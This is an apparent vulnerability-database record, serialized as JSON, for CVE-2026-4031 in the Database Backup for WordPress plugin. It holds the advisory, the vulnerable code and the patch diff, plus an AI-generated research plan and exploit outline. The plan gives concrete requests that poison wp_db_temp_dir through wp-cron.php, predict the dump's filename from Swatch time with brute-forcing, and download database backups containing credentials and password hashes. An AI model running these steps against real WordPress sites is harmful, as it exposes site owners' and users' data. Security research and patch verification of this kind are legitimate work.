[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$ffNfI8voV4X4SRr01qrXHg0LoTAT1bY8L7t6FBWeTBSY":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":25,"research_verified":26,"research_rounds_completed":27,"research_plan":28,"research_summary":29,"research_vulnerable_code":30,"research_fix_diff":31,"research_exploit_outline":32,"research_model_used":33,"research_started_at":34,"research_completed_at":35,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":26,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":26,"source_links":36},"CVE-2026-4031","database-backup-for-wordpress-missing-authorization-to-unauthenticated-database-backup-interception","Database Backup for WordPress \u003C= 2.5.2 - Missing Authorization to Unauthenticated Database Backup Interception","The Database Backup for WordPress plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.5.2. This is due to the plugin not restricting access to the wp_db_temp_dir parameter, which controls where database backups are written. This makes it possible for unauthenticated attackers to send a request to wp-cron.php with a poisoned wp_db_temp_dir value pointing to a publicly accessible directory (e.g., wp-content\u002Fuploads\u002F), and if a scheduled backup is due, intercept the backup file before it is cleaned up. The backup file has a predictable name based on the database name, table prefix, date, and Swatch Internet Time, making interception reliable. Successful exploitation leads to Sensitive Information Exposure including database credentials, user password hashes, and personally identifiable information. This vulnerability requires that the site administrator has configured scheduled backups.","wp-db-backup",null,"\u003C=2.5.2","2.5.3","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Missing Authorization","2026-05-13 00:00:00","2026-05-14 12:32:10",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F36615cae-418f-48b0-ba69-b54515cbe1d7?source=api-prod",2,[22,23,24],"README.md","readme.txt","wp-db-backup.php","researched",false,3,"This research plan outlines the steps to verify and exploit **CVE-2026-4031**, a missing authorization vulnerability in the **Database Backup for WordPress** plugin.\n\n### 1. Vulnerability Summary\nThe `wp-db-backup` plugin (up to version 2.5.2) allows unauthenticated users to influence the directory where scheduled database backups are temporarily stored. This occurs because the plugin's constructor in `wp-db-backup.php` reads the `wp_db_temp_dir` parameter from the global `$_GET` array without performing any capability or authentication checks. If an attacker provides a path to a publicly accessible directory (like `wp-content\u002Fuploads\u002F`), a scheduled backup triggered via `wp-cron.php` will be written to that location. Because the backup filename is predictable, the attacker can then download the entire database dump.\n\n### 2. Attack Vector Analysis\n*   **Target Endpoint**: `[WP_URL]\u002Fwp-cron.php`\n*   **Vulnerable Parameter**: `wp_db_temp_dir` (passed via GET)\n*   **Authentication**: None (Unauthenticated)\n*   **Preconditions**: \n    1.  The site administrator must have configured a \"Scheduled Backup\" (found in **Tools > Backup**).\n    2.  The attacker must know or guess the absolute path to a writable, public directory (e.g., `\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\u002F`).\n    3.  A scheduled backup must be due for execution when the attacker triggers `wp-cron.php`.\n\n### 3. Code Flow\n1.  **Entry Point**: A request is made to any WordPress page (specifically `wp-cron.php`) with `?wp_db_temp_dir=\u002Fpath\u002Fto\u002Fpublic\u002Fdir`.\n2.  **Initialization**: The `wpdbBackup` class is instantiated. In the constructor (`wp-db-backup.php` line 135):\n    ```php\n    $tmp_dir = get_temp_dir();\n\n    if ( isset( $_GET['wp_db_temp_dir'] ) ) {\n        $requested_dir = sanitize_text_field( $_GET['wp_db_temp_dir'] );\n        if ( is_writeable( $requested_dir ) ) { \u002F\u002F No auth check here!\n            $tmp_dir = $requested_dir;\n        }\n    }\n    $this->backup_dir = trailingslashit( apply_filters( 'wp_db_b_backup_dir', $tmp_dir ) );\n    ```\n3.  **Cron Trigger**: `wp-cron.php` checks for pending tasks. If `wp_db_backup_cron` is due, it fires.\n4.  **Backup Execution**: The `cron_backup()` method (hooked at line 115) runs. It uses `$this->backup_dir` to store the generated SQL file.\n5.  **Filename Generation**: The filename is generated in the constructor (lines 124-125):\n    ```php\n    $datum                 = date( 'Ymd_B' );\n    $this->backup_filename = DB_NAME . \"_$table_prefix$datum.sql\";\n    ```\n    *   `DB_NAME`: Database name (e.g., `wordpress`).\n    *   `$table_prefix`: WordPress table prefix (e.g., `wp_`).\n    *   `date('Ymd_B')`: `Ymd` is the date, `B` is the Swatch Internet Time (000-999).\n\n### 4. Nonce Acquisition Strategy\nThis specific vulnerability **does not require a nonce**. \nThe poisoned parameter is processed in the class constructor (`__construct`), which runs on every request including unauthenticated cron triggers. While the \"Scheduled Backup\" *form* was patched with a nonce in 2.5.2 to prevent CSRF, the *consumption* of the `wp_db_temp_dir` parameter in the constructor remains unauthenticated in affected versions.\n\n### 5. Exploitation Strategy\n\n#### Step 1: Reconnaissance\nIdentify the database name and table prefix. \n*   Standard defaults are `DB_NAME=wordpress` and `$table_prefix=wp_`.\n*   Determine the current Swatch Internet Time (`date('B')`).\n\n#### Step 2: Poison the Backup Path & Trigger Cron\nSend a request to `wp-cron.php` supplying the poisoned directory and triggering the cron runner.\n*   **Request**: `GET \u002Fwp-cron.php?doing_wp_cron&wp_db_temp_dir=\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\u002F`\n*   **Note**: The absolute path is required. In standard Docker environments, this is usually `\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\u002F`.\n\n#### Step 3: Predict the Filename\nThe file will be named: `[DB_NAME]_[PREFIX][YYYYMMDD]_[SWATCH_TIME].sql`.\nExample: `wordpress_wp_20231027_123.sql`.\n*   Since Swatch time represents \"beats\" (1000 per day), you may need to check the current beat and the next 2-3 beats to account for execution time.\n\n#### Step 4: Intercept the Backup\nImmediately attempt to download the file from the public uploads directory.\n*   **Request**: `GET \u002Fwp-content\u002Fuploads\u002Fwordpress_wp_20231027_123.sql`\n\n### 6. Test Data Setup\n1.  **Plugin Installation**: Install and activate `wp-db-backup` version 2.5.2.\n2.  **Configuration**: \n    *   Navigate to **Tools > Backup**.\n    *   Under \"Scheduled Backup\", select \"Once Daily\" and enter an email address.\n    *   Click \"Save Settings\".\n3.  **Cron Sync**: Ensure a backup task is actually scheduled:\n    ```bash\n    wp cron event list --name=wp_db_backup_cron\n    ```\n4.  **Force Due**: To make the exploit reliable for testing, set the next run time to the past:\n    ```bash\n    wp cron event run wp_db_backup_cron --due-now\n    ```\n\n### 7. Expected Results\n*   The request to `wp-cron.php` should return a `200 OK` (empty response).\n*   A file should appear in `wp-content\u002Fuploads\u002F` containing the full MySQL database export.\n*   The content of the SQL file will include the `wp_users` table with admin password hashes and the `wp_options` table.\n\n### 8. Verification Steps\n1.  **Verify File Creation**: Use `ls` inside the environment to check if the file exists in the uploads directory:\n    ```bash\n    ls -la \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\u002F*.sql\n    ```\n2.  **Verify Content**: Check the head of the SQL file for database structure:\n    ```bash\n    head \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\u002F[FILENAME].sql\n    ```\n\n### 9. Alternative Approaches\n*   **Swatch Brute-force**: If the exact time of the cron execution is slightly off, iterate through 10 beats (approx. 14 minutes) of Swatch time filenames.\n*   **Directory Listing**: If the server has directory listing enabled on `wp-content\u002Fuploads\u002F`, simply navigate to that URL to see the generated file.\n*   **Path Discovery**: If `\u002Fvar\u002Fwww\u002Fhtml\u002F` is incorrect, common WordPress paths include `\u002Fhome\u002Fuser\u002Fpublic_html\u002Fwp-content\u002Fuploads\u002F` or using the `is_writeable` check to confirm paths via error-based side channels if `WP_DEBUG` is on.","The Database Backup for WordPress plugin allows unauthenticated users to specify the directory where scheduled database backups are temporarily stored via the 'wp_db_temp_dir' parameter. By pointing this to a publicly accessible directory, an attacker can intercept and download the resulting database dump, which uses a predictable filename based on the database name, prefix, and current time.","\u002F\u002F wp-db-backup.php lines 120-121\n$datum                 = date( 'Ymd_B' );\n$this->backup_filename = DB_NAME . \"_$table_prefix$datum.sql\";\n\n---\n\n\u002F\u002F wp-db-backup.php lines 146-153\n$tmp_dir = get_temp_dir();\n\nif ( isset( $_GET['wp_db_temp_dir'] ) ) {\n\t$requested_dir = sanitize_text_field( $_GET['wp_db_temp_dir'] );\n\tif ( is_writeable( $requested_dir ) ) {\n\t\t$tmp_dir = $requested_dir;\n\t}\n}","--- wp-db-backup.php\n+++ wp-db-backup.php\n@@ -146,9 +146,2 @@\n \t\t$tmp_dir = get_temp_dir();\n \n-\t\tif ( isset( $_GET['wp_db_temp_dir'] ) ) {\n-\t\t\t$requested_dir = sanitize_text_field( $_GET['wp_db_temp_dir'] );\n-\t\t\tif ( is_writeable( $requested_dir ) ) {\n-\t\t\t\t$tmp_dir = $requested_dir;\n-\t\t\t}\n-\t\t}\n-","1. Identify a writeable, publicly accessible directory on the target server (e.g., \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\u002F).\n2. Determine the target's database name and table prefix (defaults: 'wordpress', 'wp_').\n3. Send an unauthenticated GET request to wp-cron.php with the poisoned parameter: ?doing_wp_cron&wp_db_temp_dir=[absolute_path_to_public_dir].\n4. Trigger the WordPress cron system. If a scheduled backup task is due, the plugin will save the SQL dump to the specified public directory.\n5. Predict the backup filename (DBNAME_PREFIX_YYYYMMDD_SWATCHTIME.sql) and download the file from the public directory.","gemini-3-flash-preview","2026-05-14 17:38:15","2026-05-14 17:39:10",{"type":37,"vulnerable_version":38,"fixed_version":11,"vulnerable_browse":39,"vulnerable_zip":40,"fixed_browse":41,"fixed_zip":42,"all_tags":43},"plugin","2.5.2","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-db-backup\u002Ftags\u002F2.5.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-db-backup.2.5.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-db-backup\u002Ftags\u002F2.5.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-db-backup.2.5.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-db-backup\u002Ftags"]